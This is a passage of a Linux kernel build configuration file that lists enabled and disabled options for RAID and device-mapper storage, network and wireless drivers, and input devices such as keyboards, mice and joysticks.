# CONFIG_PATA_OF_PLATFORM is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_PATA_ACPI is not set
CONFIG_ATA_GENERIC=y
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_BITMAP=y
# CONFIG_MD_LLBITMAP is not set
CONFIG_MD_AUTODETECT=y
CONFIG_MD_BITMAP_FILE=y
# CONFIG_MD_LINEAR is not set
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID10=y
CONFIG_MD_RAID456=y
# CONFIG_MD_CLUSTER is not set
CONFIG_BCACHE=y
# CONFIG_BCACHE_DEBUG is not set
# CONFIG_BCACHE_ASYNC_REGISTRATION is not set
CONFIG_BLK_DEV_DM_BUILTIN=y
CONFIG_BLK_DEV_DM=y
# CONFIG_DM_DEBUG is not set
CONFIG_DM_BUFIO=y
# CONFIG_DM_DEBUG_BLOCK_MANAGER_LOCKING is not set
CONFIG_DM_BIO_PRISON=y
CONFIG_DM_PERSISTENT_DATA=y
# CONFIG_DM_UNSTRIPED is not set
CONFIG_DM_CRYPT=y
# CONFIG_DM_INLINECRYPT is not set
CONFIG_DM_SNAPSHOT=y
CONFIG_DM_THIN_PROVISIONING=y
CONFIG_DM_CACHE=y
CONFIG_DM_CACHE_SMQ=y
CONFIG_DM_WRITECACHE=y
# CONFIG_DM_EBS is not set
# CONFIG_DM_ERA is not set
CONFIG_DM_CLONE=y
CONFIG_DM_MIRROR=y
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_RAID=y
CONFIG_DM_ZERO=y
CONFIG_DM_MULTIPATH=y
CONFIG_DM_MULTIPATH_QL=y
CONFIG_DM_MULTIPATH_ST=y
# CONFIG_DM_MULTIPATH_HST is not set
# CONFIG_DM_MULTIPATH_IOA is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_DUST is not set
# CONFIG_DM_INIT is not set
CONFIG_DM_UEVENT=y
CONFIG_DM_FLAKEY=y
CONFIG_DM_VERITY=y
# CONFIG_DM_VERITY_VERIFY_ROOTHASH_SIG is not set
CONFIG_DM_VERITY_FEC=y
# CONFIG_DM_SWITCH is not set
# CONFIG_DM_LOG_WRITES is not set
CONFIG_DM_INTEGRITY=y
CONFIG_DM_ZONED=y
CONFIG_DM_AUDIT=y
# CONFIG_DM_VDO is not set
# CONFIG_DM_PCACHE is not set
CONFIG_TARGET_CORE=y
# CONFIG_TCM_IBLOCK is not set
# CONFIG_TCM_FILEIO is not set
# CONFIG_TCM_PSCSI is not set
# CONFIG_LOOPBACK_TARGET is not set
# CONFIG_ISCSI_TARGET is not set
# CONFIG_SBP_TARGET is not set
# CONFIG_REMOTE_TARGET is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
CONFIG_FIREWIRE=y
CONFIG_FIREWIRE_OHCI=y
CONFIG_FIREWIRE_SBP2=y
CONFIG_FIREWIRE_NET=y
# CONFIG_FIREWIRE_NOSY is not set
# end of IEEE 1394 (FireWire) support

# CONFIG_MACINTOSH_DRIVERS is not set
CONFIG_NETDEVICES=y
CONFIG_MII=y
CONFIG_NET_CORE=y
CONFIG_BONDING=y
CONFIG_DUMMY=y
CONFIG_WIREGUARD=y
# CONFIG_WIREGUARD_DEBUG is not set
# CONFIG_OVPN is not set
CONFIG_EQUALIZER=y
CONFIG_NET_FC=y
CONFIG_IFB=y
CONFIG_NET_TEAM=y
CONFIG_NET_TEAM_MODE_BROADCAST=y
CONFIG_NET_TEAM_MODE_ROUNDROBIN=y
CONFIG_NET_TEAM_MODE_RANDOM=y
CONFIG_NET_TEAM_MODE_ACTIVEBACKUP=y
CONFIG_NET_TEAM_MODE_LOADBALANCE=y
CONFIG_MACVLAN=y
CONFIG_MACVTAP=y
CONFIG_IPVLAN_L3S=y
CONFIG_IPVLAN=y
CONFIG_IPVTAP=y
CONFIG_VXLAN=y
CONFIG_GENEVE=y
CONFIG_BAREUDP=y
CONFIG_GTP=y
# CONFIG_PFCP is not set
# CONFIG_AMT is not set
CONFIG_MACSEC=y
CONFIG_NETCONSOLE=y
# CONFIG_NETCONSOLE_DYNAMIC is not set
# CONFIG_NETCONSOLE_EXTENDED_LOG is not set
CONFIG_NETPOLL=y
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=y
CONFIG_TAP=y
CONFIG_TUN_VNET_CROSS_LE=y
CONFIG_VETH=y
CONFIG_VIRTIO_NET=y
CONFIG_NLMON=y
# CONFIG_NETKIT is not set
CONFIG_NET_VRF=y
CONFIG_VSOCKMON=y
# CONFIG_MHI_NET is not set
# CONFIG_ARCNET is not set
CONFIG_ATM_DRIVERS=y
# CONFIG_ATM_SOLOS is not set

#
# Distributed Switch Architecture drivers
#
# CONFIG_B53 is not set
# CONFIG_NET_DSA_BCM_SF2 is not set
# CONFIG_NET_DSA_LOOP is not set
# CONFIG_NET_DSA_HIRSCHMANN_HELLCREEK is not set
# CONFIG_NET_DSA_LANTIQ_GSWIP is not set
# CONFIG_NET_DSA_MXL_GSW1XX is not set
# CONFIG_NET_DSA_MT7530 is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MICROCHIP_KSZ_COMMON is not set
# CONFIG_NET_DSA_YT921X is not set
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MXL862 is not set
# CONFIG_NET_DSA_AR9331 is not set
# CONFIG_NET_DSA_QCA8K is not set
# CONFIG_NET_DSA_SJA1105 is not set
# CONFIG_NET_DSA_XRS700X_I2C is not set
# CONFIG_NET_DSA_XRS700X_MDIO is not set
# CONFIG_NET_DSA_REALTEK is not set
# CONFIG_NET_DSA_KS8995 is not set
# CONFIG_NET_DSA_SMSC_LAN9303_I2C is not set
# CONFIG_NET_DSA_SMSC_LAN9303_MDIO is not set
# CONFIG_NET_DSA_VITESSE_VSC73XX_SPI is not set
# CONFIG_NET_DSA_VITESSE_VSC73XX_PLATFORM is not set
# end of Distributed Switch Architecture drivers

CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_AGERE is not set
# CONFIG_NET_VENDOR_ALACRITECH is not set
CONFIG_NET_VENDOR_ALIBABA=y
# CONFIG_ALIBABA_EEA is not set
# CONFIG_ALTERA_TSE is not set
CONFIG_NET_VENDOR_AMAZON=y
# CONFIG_ENA_ETHERNET is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_AQUANTIA is not set
# CONFIG_NET_VENDOR_ARC is not set
CONFIG_NET_VENDOR_ASIX=y
# CONFIG_SPI_AX88796C is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_CX_ECAT is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_CADENCE is not set
# CONFIG_NET_VENDOR_CAVIUM is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
CONFIG_NET_VENDOR_CISCO=y
# CONFIG_ENIC is not set
# CONFIG_NET_VENDOR_CORTINA is not set
CONFIG_NET_VENDOR_DAVICOM=y
# CONFIG_DM9051 is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
CONFIG_NET_VENDOR_ENGLEDER=y
# CONFIG_TSNEP is not set
# CONFIG_NET_VENDOR_EZCHIP is not set
CONFIG_NET_VENDOR_FUNGIBLE=y
# CONFIG_FUN_ETH is not set
CONFIG_NET_VENDOR_GOOGLE=y
CONFIG_GVE=y
CONFIG_NET_VENDOR_HISILICON=y
# CONFIG_HIBMCGE is not set
# CONFIG_NET_VENDOR_HUAWEI is not set
CONFIG_NET_VENDOR_I825XX=y
CONFIG_NET_VENDOR_INTEL=y
CONFIG_E100=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_E1000E_HWTS=y
# CONFIG_IGB is not set
# CONFIG_IGBVF is not set
# CONFIG_IXGBE is not set
# CONFIG_IXGBEVF is not set
# CONFIG_I40E is not set
# CONFIG_I40EVF is not set
# CONFIG_ICE is not set
# CONFIG_FM10K is not set
# CONFIG_IGC is not set
# CONFIG_IDPF is not set
# CONFIG_IXD is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_ADI is not set
CONFIG_NET_VENDOR_LITEX=y
# CONFIG_LITEX_LITEETH is not set
# CONFIG_NET_VENDOR_MARVELL is not set
CONFIG_NET_VENDOR_MELLANOX=y
# CONFIG_MLX4_EN is not set
CONFIG_MLX4_CORE=y
# CONFIG_MLX4_DEBUG is not set
# CONFIG_MLX4_CORE_GEN2 is not set
# CONFIG_MLX5_CORE is not set
# CONFIG_MLXSW_CORE is not set
# CONFIG_MLXFW is not set
CONFIG_NET_VENDOR_META=y
# CONFIG_FBNIC is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MICROCHIP is not set
# CONFIG_NET_VENDOR_MICROSEMI is not set
CONFIG_NET_VENDOR_MICROSOFT=y
CONFIG_NET_VENDOR_MUCSE=y
# CONFIG_MGBE is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NI is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NETRONOME is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_VENDOR_PENSANDO is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RENESAS is not set
# CONFIG_NET_VENDOR_ROCKER is not set
# CONFIG_NET_VENDOR_SAMSUNG is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_NET_VENDOR_SOLARFLARE is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_SOCIONEXT is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_SYNOPSYS is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
CONFIG_NET_VENDOR_VERTEXCOM=y
# CONFIG_MSE102X is not set
# CONFIG_NET_VENDOR_VIA is not set
CONFIG_NET_VENDOR_WANGXUN=y
# CONFIG_NGBE is not set
# CONFIG_TXGBE is not set
# CONFIG_TXGBEVF is not set
# CONFIG_NGBEVF is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_NET_VENDOR_XILINX is not set
# CONFIG_NET_VENDOR_XIRCOM is not set
CONFIG_NET_VENDOR_ZTE=y
# CONFIG_DINGHAI is not set
CONFIG_FDDI=y
# CONFIG_DEFXX is not set
# CONFIG_SKFP is not set
CONFIG_PHYLINK=y
CONFIG_PHYLIB=y
CONFIG_SWPHY=y
CONFIG_PHY_PACKAGE=y
# CONFIG_LED_TRIGGER_PHY is not set
CONFIG_PHYLIB_LEDS=y
CONFIG_FIXED_PHY=y
CONFIG_RUST_PHYLIB_ABSTRACTIONS=y
# CONFIG_SFP is not set

#
# MII PHY device drivers
#
# CONFIG_AS21XXX_PHY is not set
# CONFIG_AIR_AN8801_PHY is not set
# CONFIG_AIR_EN8811H_PHY is not set
# CONFIG_AMD_PHY is not set
# CONFIG_ADIN_PHY is not set
# CONFIG_ADIN1100_PHY is not set
# CONFIG_ADIN1140_PHY is not set
# CONFIG_AMCC_QT2025_PHY is not set
# CONFIG_AQUANTIA_PHY is not set
CONFIG_AX88796B_PHY=y
# CONFIG_AX88796B_RUST_PHY is not set
# CONFIG_BROADCOM_PHY is not set
# CONFIG_BCM54140_PHY is not set
# CONFIG_BCM7XXX_PHY is not set
# CONFIG_BCM84881_PHY is not set
# CONFIG_BCM87XX_PHY is not set
# CONFIG_CICADA_PHY is not set
# CONFIG_CORTINA_PHY is not set
# CONFIG_DAP8211R_PHY is not set
# CONFIG_DAVICOM_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_LXT_PHY is not set
# CONFIG_INTEL_XWAY_PHY is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MARVELL_PHY is not set
# CONFIG_MARVELL_10G_PHY is not set
# CONFIG_MARVELL_88Q2XXX_PHY is not set
# CONFIG_MARVELL_88X2222_PHY is not set
# CONFIG_MAXLINEAR_GPHY is not set
# CONFIG_MAXLINEAR_86110_PHY is not set
# CONFIG_MEDIATEK_GE_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MICROCHIP_T1S_PHY is not set
CONFIG_MICROCHIP_PHY=y
# CONFIG_MICROCHIP_T1_PHY is not set
# CONFIG_MICROSEMI_PHY is not set
# CONFIG_MOTORCOMM_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_NXP_CBTX_PHY is not set
# CONFIG_NXP_C45_TJA11XX_PHY is not set
# CONFIG_NXP_TJA11XX_PHY is not set
# CONFIG_NCN26000_PHY is not set
# CONFIG_AT803X_PHY is not set
# CONFIG_QCA83XX_PHY is not set
# CONFIG_QCA808X_PHY is not set
# CONFIG_QCA807X_PHY is not set
# CONFIG_QSEMI_PHY is not set
CONFIG_REALTEK_PHY=y
# CONFIG_REALTEK_PHY_HWMON is not set
# CONFIG_RENESAS_PHY is not set
# CONFIG_ROCKCHIP_PHY is not set
CONFIG_SMSC_PHY=y
# CONFIG_STE10XP is not set
# CONFIG_TERANETICS_PHY is not set
# CONFIG_DP83822_PHY is not set
# CONFIG_DP83TC811_PHY is not set
# CONFIG_DP83848_PHY is not set
# CONFIG_DP83867_PHY is not set
# CONFIG_DP83869_PHY is not set
# CONFIG_DP83TD510_PHY is not set
# CONFIG_DP83TG720_PHY is not set
# CONFIG_VITESSE_PHY is not set
# CONFIG_XILINX_GMII2RGMII is not set
# CONFIG_PSE_CONTROLLER is not set
CONFIG_CAN_DEV=y
CONFIG_CAN_VCAN=y
CONFIG_CAN_VXCAN=y
CONFIG_CAN_NETLINK=y
CONFIG_CAN_CALC_BITTIMING=y
CONFIG_CAN_RX_OFFLOAD=y
# CONFIG_CAN_CAN327 is not set
# CONFIG_CAN_DUMMY is not set
# CONFIG_CAN_FLEXCAN is not set
# CONFIG_CAN_GRCAN is not set
# CONFIG_CAN_KVASER_PCIEFD is not set
CONFIG_CAN_SLCAN=y
# CONFIG_CAN_VIRTIO_CAN is not set
# CONFIG_CAN_C_CAN is not set
# CONFIG_CAN_CC770 is not set
# CONFIG_CAN_CTUCANFD_PCI is not set
# CONFIG_CAN_CTUCANFD_PLATFORM is not set
# CONFIG_CAN_ESD_402_PCI is not set
CONFIG_CAN_IFI_CANFD=y
# CONFIG_CAN_M_CAN is not set
# CONFIG_CAN_PEAK_PCIEFD is not set
# CONFIG_CAN_SJA1000 is not set
# CONFIG_CAN_SOFTING is not set

#
# CAN SPI interfaces
#
# CONFIG_CAN_HI311X is not set
# CONFIG_CAN_MCP251X is not set
# CONFIG_CAN_MCP251XFD is not set
# end of CAN SPI interfaces

#
# CAN USB interfaces
#
CONFIG_CAN_8DEV_USB=y
CONFIG_CAN_EMS_USB=y
CONFIG_CAN_ESD_USB=y
CONFIG_CAN_ETAS_ES58X=y
CONFIG_CAN_F81604=y
CONFIG_CAN_GS_USB=y
CONFIG_CAN_KVASER_USB=y
CONFIG_CAN_MCBA_USB=y
CONFIG_CAN_PEAK_USB=y
CONFIG_CAN_UCAN=y
# end of CAN USB interfaces

# CONFIG_CAN_DEBUG_DEVICES is not set

#
# MCTP Device Drivers
#
# CONFIG_MCTP_SERIAL is not set
# CONFIG_MCTP_TRANSPORT_I2C is not set
# CONFIG_MCTP_TRANSPORT_USBLIB is not set
# CONFIG_MCTP_TRANSPORT_USB is not set
# end of MCTP Device Drivers

#
# MDIO controller drivers
#
CONFIG_FWNODE_MDIO=y
CONFIG_OF_MDIO=y
CONFIG_ACPI_MDIO=y
# CONFIG_MDIO_BITBANG is not set
# CONFIG_MDIO_BCM_UNIMAC is not set
# CONFIG_MDIO_HISI_FEMAC is not set
CONFIG_MDIO_MVUSB=y
# CONFIG_MDIO_MSCC_MIIM is not set
# CONFIG_MDIO_OCTEON is not set
# CONFIG_MDIO_IPQ4019 is not set
# CONFIG_MDIO_IPQ8064 is not set
# CONFIG_MDIO_THUNDER is not set

#
# MDIO Multiplexers
#
# CONFIG_MDIO_BUS_MUX_GPIO is not set
# CONFIG_MDIO_BUS_MUX_MULTIPLEXER is not set
# CONFIG_MDIO_BUS_MUX_MMIOREG is not set
# end of MDIO Multiplexers
# end of MDIO controller drivers

#
# PCS device drivers
#
# CONFIG_PCS_XPCS is not set
# end of PCS device drivers

# CONFIG_PLIP is not set
CONFIG_PPP=y
CONFIG_PPP_BSDCOMP=y
CONFIG_PPP_DEFLATE=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_MPPE=y
CONFIG_PPP_MULTILINK=y
CONFIG_PPPOATM=y
CONFIG_PPPOX=y
CONFIG_PPPOE=y
CONFIG_PPPOE_HASH_BITS_1=y
# CONFIG_PPPOE_HASH_BITS_2 is not set
# CONFIG_PPPOE_HASH_BITS_4 is not set
# CONFIG_PPPOE_HASH_BITS_8 is not set
CONFIG_PPPOE_HASH_BITS=1
CONFIG_PPTP=y
CONFIG_PPPOL2TP=y
CONFIG_PPP_ASYNC=y
CONFIG_PPP_SYNC_TTY=y
CONFIG_SLIP=y
CONFIG_SLHC=y
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y
CONFIG_USB_NET_DRIVERS=y
CONFIG_USB_CATC=y
CONFIG_USB_KAWETH=y
CONFIG_USB_PEGASUS=y
CONFIG_USB_RTL8150=y
CONFIG_USB_RTL8152=y
CONFIG_USB_LAN78XX=y
CONFIG_USB_USBNET=y
CONFIG_USB_NET_AX8817X=y
CONFIG_USB_NET_AX88179_178A=y
CONFIG_USB_NET_CDCETHER=y
CONFIG_USB_NET_CDC_EEM=y
CONFIG_USB_NET_CDC_NCM=y
CONFIG_USB_NET_HUAWEI_CDC_NCM=y
CONFIG_USB_NET_CDC_MBIM=y
CONFIG_USB_NET_DM9601=y
CONFIG_USB_NET_SR9700=y
CONFIG_USB_NET_SR9800=y
CONFIG_USB_NET_SMSC75XX=y
CONFIG_USB_NET_SMSC95XX=y
CONFIG_USB_NET_GL620A=y
CONFIG_USB_NET_NET1080=y
CONFIG_USB_NET_PLUSB=y
CONFIG_USB_NET_MCS7830=y
CONFIG_USB_NET_RNDIS_HOST=y
CONFIG_USB_NET_CDC_SUBSET_ENABLE=y
CONFIG_USB_NET_CDC_SUBSET=y
CONFIG_USB_ALI_M5632=y
CONFIG_USB_AN2720=y
CONFIG_USB_BELKIN=y
CONFIG_USB_ARMLINUX=y
CONFIG_USB_EPSON2888=y
CONFIG_USB_KC2190=y
CONFIG_USB_NET_ZAURUS=y
CONFIG_USB_NET_CX82310_ETH=y
CONFIG_USB_NET_KALMIA=y
CONFIG_USB_NET_QMI_WWAN=y
CONFIG_USB_HSO=y
CONFIG_USB_NET_INT51X1=y
CONFIG_USB_CDC_PHONET=y
CONFIG_USB_IPHETH=y
CONFIG_USB_SIERRA_NET=y
CONFIG_USB_VL600=y
CONFIG_USB_NET_CH9200=y
CONFIG_USB_NET_AQC111=y
CONFIG_USB_RTL8153_ECM=y
CONFIG_WLAN=y
CONFIG_WLAN_VENDOR_ADMTEK=y
# CONFIG_ADM8211 is not set
CONFIG_ATH_COMMON=y
CONFIG_WLAN_VENDOR_ATH=y
# CONFIG_ATH_DEBUG is not set
# CONFIG_ATH5K is not set
# CONFIG_ATH5K_PCI is not set
CONFIG_ATH9K_HW=y
CONFIG_ATH9K_COMMON=y
CONFIG_ATH9K_COMMON_DEBUG=y
CONFIG_ATH9K_BTCOEX_SUPPORT=y
CONFIG_ATH9K=y
CONFIG_ATH9K_PCI=y
CONFIG_ATH9K_AHB=y
CONFIG_ATH9K_DEBUGFS=y
# CONFIG_ATH9K_STATION_STATISTICS is not set
CONFIG_ATH9K_DYNACK=y
# CONFIG_ATH9K_WOW is not set
CONFIG_ATH9K_RFKILL=y
CONFIG_ATH9K_CHANNEL_CONTEXT=y
CONFIG_ATH9K_PCOEM=y
# CONFIG_ATH9K_PCI_NO_EEPROM is not set
CONFIG_ATH9K_HTC=y
CONFIG_ATH9K_HTC_DEBUGFS=y
# CONFIG_ATH9K_HWRNG is not set
CONFIG_ATH9K_COMMON_SPECTRAL=y
CONFIG_CARL9170=y
CONFIG_CARL9170_LEDS=y
# CONFIG_CARL9170_DEBUGFS is not set
CONFIG_CARL9170_WPC=y
CONFIG_CARL9170_HWRNG=y
CONFIG_ATH6KL=y
# CONFIG_ATH6KL_SDIO is not set
CONFIG_ATH6KL_USB=y
# CONFIG_ATH6KL_DEBUG is not set
# CONFIG_ATH6KL_TRACING is not set
CONFIG_AR5523=y
# CONFIG_WIL6210 is not set
CONFIG_ATH10K=y
CONFIG_ATH10K_CE=y
CONFIG_ATH10K_PCI=y
# CONFIG_ATH10K_AHB is not set
# CONFIG_ATH10K_SDIO is not set
CONFIG_ATH10K_USB=y
# CONFIG_ATH10K_DEBUG is not set
# CONFIG_ATH10K_DEBUGFS is not set
CONFIG_ATH10K_LEDS=y
# CONFIG_ATH10K_TRACING is not set
# CONFIG_WCN36XX is not set
CONFIG_ATH11K=y
# CONFIG_ATH11K_PCI is not set
# CONFIG_ATH11K_DEBUG is not set
# CONFIG_ATH11K_DEBUGFS is not set
# CONFIG_ATH11K_TRACING is not set
# CONFIG_ATH12K is not set
# CONFIG_WLAN_VENDOR_ATMEL is not set
# CONFIG_WLAN_VENDOR_BROADCOM is not set
# CONFIG_WLAN_VENDOR_INTEL is not set
# CONFIG_WLAN_VENDOR_INTERSIL is not set
# CONFIG_WLAN_VENDOR_MARVELL is not set
# CONFIG_WLAN_VENDOR_MEDIATEK is not set
# CONFIG_WLAN_VENDOR_MICROCHIP is not set
CONFIG_WLAN_VENDOR_MORSEMICRO=y
# CONFIG_MM81X_USB is not set
# CONFIG_MM81X_SDIO is not set
CONFIG_WLAN_VENDOR_NXP=y
# CONFIG_NXPWIFI_SDIO is not set
CONFIG_WLAN_VENDOR_PURELIFI=y
CONFIG_PLFXLC=y
# CONFIG_WLAN_VENDOR_RALINK is not set
# CONFIG_WLAN_VENDOR_REALTEK is not set
# CONFIG_WLAN_VENDOR_RSI is not set
CONFIG_WLAN_VENDOR_SILABS=y
# CONFIG_WFX is not set
# CONFIG_WLAN_VENDOR_ST is not set
# CONFIG_WLAN_VENDOR_TI is not set
# CONFIG_WLAN_VENDOR_ZYDAS is not set
# CONFIG_WLAN_VENDOR_QUANTENNA is not set
CONFIG_MAC80211_HWSIM=y
CONFIG_VIRT_WIFI=y
CONFIG_WAN=y
CONFIG_HDLC=y
CONFIG_HDLC_RAW=y
CONFIG_HDLC_RAW_ETH=y
CONFIG_HDLC_CISCO=y
CONFIG_HDLC_FR=y
CONFIG_HDLC_PPP=y
CONFIG_HDLC_X25=y
# CONFIG_FRAMER is not set
# CONFIG_PCI200SYN is not set
# CONFIG_WANXL is not set
# CONFIG_PC300TOO is not set
# CONFIG_FARSYNC is not set
CONFIG_LAPBETHER=y
CONFIG_IEEE802154_DRIVERS=y
# CONFIG_IEEE802154_FAKELB is not set
# CONFIG_IEEE802154_AT86RF230 is not set
# CONFIG_IEEE802154_MRF24J40 is not set
# CONFIG_IEEE802154_CC2520 is not set
CONFIG_IEEE802154_ATUSB=y
# CONFIG_IEEE802154_ADF7242 is not set
# CONFIG_IEEE802154_CA8210 is not set
# CONFIG_IEEE802154_MCR20A is not set
CONFIG_IEEE802154_HWSIM=y

#
# Wireless WAN
#
CONFIG_WWAN=y
# CONFIG_WWAN_DEBUGFS is not set
# CONFIG_WWAN_HWSIM is not set
CONFIG_MHI_WWAN_CTRL=y
# CONFIG_MHI_WWAN_MBIM is not set
# CONFIG_IOSM is not set
# CONFIG_MTK_T7XX is not set
# end of Wireless WAN

CONFIG_VMXNET3=y
# CONFIG_FUJITSU_ES is not set
CONFIG_USB4_NET=y
CONFIG_NETDEVSIM=y
CONFIG_NET_FAILOVER=y

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_LEDS=y
CONFIG_INPUT_FF_MEMLESS=y
CONFIG_INPUT_SPARSEKMAP=y
# CONFIG_INPUT_MATRIXKMAP is not set
CONFIG_INPUT_VIVALDIFMAP=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
CONFIG_INPUT_JOYDEV=y
CONFIG_INPUT_EVDEV=y

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADC is not set
# CONFIG_KEYBOARD_ADP5588 is not set
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_QT1050 is not set
# CONFIG_KEYBOARD_QT1070 is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_DLINK_DIR685 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_GPIO is not set
# CONFIG_KEYBOARD_GPIO_POLLED is not set
# CONFIG_KEYBOARD_TCA8418 is not set
# CONFIG_KEYBOARD_MATRIX is not set
# CONFIG_KEYBOARD_CHARLIEPLEX is not set
# CONFIG_KEYBOARD_LM8323 is not set
# CONFIG_KEYBOARD_LM8333 is not set
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MPR121 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_PINEPHONE is not set
# CONFIG_KEYBOARD_SAMSUNG is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_OMAP4 is not set
# CONFIG_KEYBOARD_TM2_TOUCHKEY is not set
# CONFIG_KEYBOARD_TWL4030 is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_CAP11XX is not set
# CONFIG_KEYBOARD_BCM is not set
# CONFIG_KEYBOARD_CYPRESS_SF is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_BYD=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_SYNAPTICS_SMBUS=y
CONFIG_MOUSE_PS2_CYPRESS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_PS2_FOCALTECH=y
# CONFIG_MOUSE_PS2_VMMOUSE is not set
CONFIG_MOUSE_PS2_SMBUS=y
# CONFIG_MOUSE_SERIAL is not set
CONFIG_MOUSE_APPLETOUCH=y
CONFIG_MOUSE_BCM5974=y
# CONFIG_MOUSE_CYAPA is not set
# CONFIG_MOUSE_ELAN_I2C is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_GPIO is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
CONFIG_MOUSE_SYNAPTICS_USB=y
CONFIG_INPUT_JOYSTICK=y
# CONFIG_JOYSTICK_ANALOG is not set
# CONFIG_JOYSTICK_A3D is not set
# CONFIG_JOYSTICK_ADC is not set
# CONFIG_JOYSTICK_ADI is not set
# CONFIG_JOYSTICK_COBRA is not set
# CONFIG_JOYSTICK_GF2K is not set
# CONFIG_JOYSTICK_GRIP is not set
# CONFIG_JOYSTICK_GRIP_MP is not set
# CONFIG_JOYSTICK_GUILLEMOT is not set
# CONFIG_JOYSTICK_INTERACT is not set
# CONFIG_JOYSTICK_SIDEWINDER is not set
# CONFIG_JOYSTICK_TMDC is not set
CONFIG_JOYSTICK_IFORCE=y
CONFIG_JOYSTICK_IFORCE_USB=y
# CONFIG_JOYSTICK_IFORCE_232 is not set
# CONFIG_JOYSTICK_WARRIOR is not set
# CONFIG_JOYSTICK_MAGELLAN is not set
# CONFIG_JOYSTICK_SPACEORB is not set
# CONFIG_JOYSTICK_SPACEBALL is not set
# CONFIG_JOYSTICK_STINGER is not set
# CONFIG_JOYSTICK_TWIDJOY is not set
# CONFIG_JOYSTICK_ZHENHUA is not set
# CONFIG_JOYSTICK_DB9 is not set
# CONFIG_JOYSTICK_GAMECON is not set
# CONFIG_JOYSTICK_TURBOGRAFX is not set
# CONFIG_JOYSTICK_AS5011 is not set
# CONFIG_JOYSTICK_JOYDUMP is not set
CONFIG_JOYSTICK_XPAD=y
CONFIG_JOYSTICK_XPAD_FF=y
CONFIG_JOYSTICK_XPAD_LEDS=y
# CONFIG_JOYSTICK_WALKERA0701 is not set
# CONFIG_JOYSTICK_PSXPAD_SPI is not set
CONFIG_JOYSTICK_PXRC=y
# CONFIG_JOYSTICK_QWIIC is not set
# CONFIG_JOYSTICK_FSIA6B is not set
